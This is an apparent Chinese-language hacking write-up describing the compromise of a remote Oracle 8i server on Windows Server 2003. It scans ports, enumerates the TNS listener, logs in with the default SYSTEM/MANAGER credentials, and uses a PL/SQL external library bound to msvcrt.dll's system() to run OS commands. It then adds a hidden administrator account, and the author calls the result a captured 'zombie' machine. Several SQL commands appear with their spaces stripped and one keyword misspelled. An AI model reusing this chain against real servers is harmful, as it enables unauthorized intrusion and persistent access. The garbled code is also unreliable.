最近看了些有关Oracle的安全资料,看后随手做了一个渗透测试,把过程记录下来方便日后查阅.先用SuperScan4.0扫描下要测试的主机,速度很快,结果如图1所示:
图 1
端口 1521 是 Oracle 的 TNS Listener 默认监听的端口,通过扫描报告还可以看到Oracle的版本为8i.现在还不知道对方的操作系统版本,看到主机还开放了终端服务,直接连上去看下操作系统版本.如图 2,
图 2
确定操作系统版本为 Windows Server 2003 企业版。Oracle 10g 之前的版本默认情况下是允许远程管理TNSListener 的,这台主机的 Oracle 版本为 8i,我们通过 TNSListenner来收集下更多的详细信息.如果本地安装了 Oracle 可以直接调用 Lsnrctl 连接到测试的主机,如图 3所示:
图 3
通过输入"status "命令我们可以得到 oracle详细版本(8.1.70.0),操作系统(Windows),跟踪级别为OFF(说明没 有开启审核),安全性为 OFF(说明没有设置Listener 口令),日志文件的绝对路径(判断 Oracle安装路径),数据库的 SID(ccdr).
要远程管理 Oracle, 需要知道 IP,数据库的 SID,和连接的用户名和密码.IP 和 SID我们已经知道了.接下来用oscanner 工具扫描下要测试主机是否存在默认的密码.如图 4 所示.
图 4
看来管理员安装完 Oracle8i 后就没有进行进一步的安全配置 , 所有的用户名密码都是默的.在Oracle中,SYS/SYSTEM 都是具有 DBA 权限的帐户,我这里选择使用 SYSTEM/MA NAGER来连接数据库.
在本地用 Sqlplus 连接到目标 Oracle 数据库,命令为:
SqlPlussystem/manager@//victimip:1521/ccdr
连接成功后,可以通过 PL/SQL 来运行 OS 命令,首先需要创建库来定位msvcrt.dll文件.这里需要使用完整的路径,通过刚才对主机的查点我们已经知道操作系统为 win2003, 如果系统安装到 C盘的话 , 那msvcrt.dll默认路径就为c:\windows\system32\msvcrt.dll.创建库的命令如下:
CREATEORREPLACELIBRARYexec_shellAS"c:\windows\system32\msvcrt.dll";
接下来写一个过程来调用 msvcrt.dll 里的 system()函数.命令如下:
CREATEORREPLACEPACKAGEoracmdIS
PROCEDUREexec(cmdstringINCHAR);
endoracmd;
/
CREATEOREREPLACEPACKAGEBODYoracmdIS
PROCEDUREexec(cmdstringINCHAR)
ISEXTERNAL
NAME"system"
LIBRARYexec_shell
LANGUAGEC;
endoracmd;
/
创建完后,就可以运行 OS 命令了.由于主机已经开放了终端服务,所以我这里添加个管理员,然后连接服务器.命令如下:
execoracmd.exec("netusermickeyimissyou/add");
execoracmd.exec("netlocalgroupadministratorsmickey/add");
帐户创建完成后,如图 5,就可以连接终端服务了,一台肉鸡到手了.:-)
图 5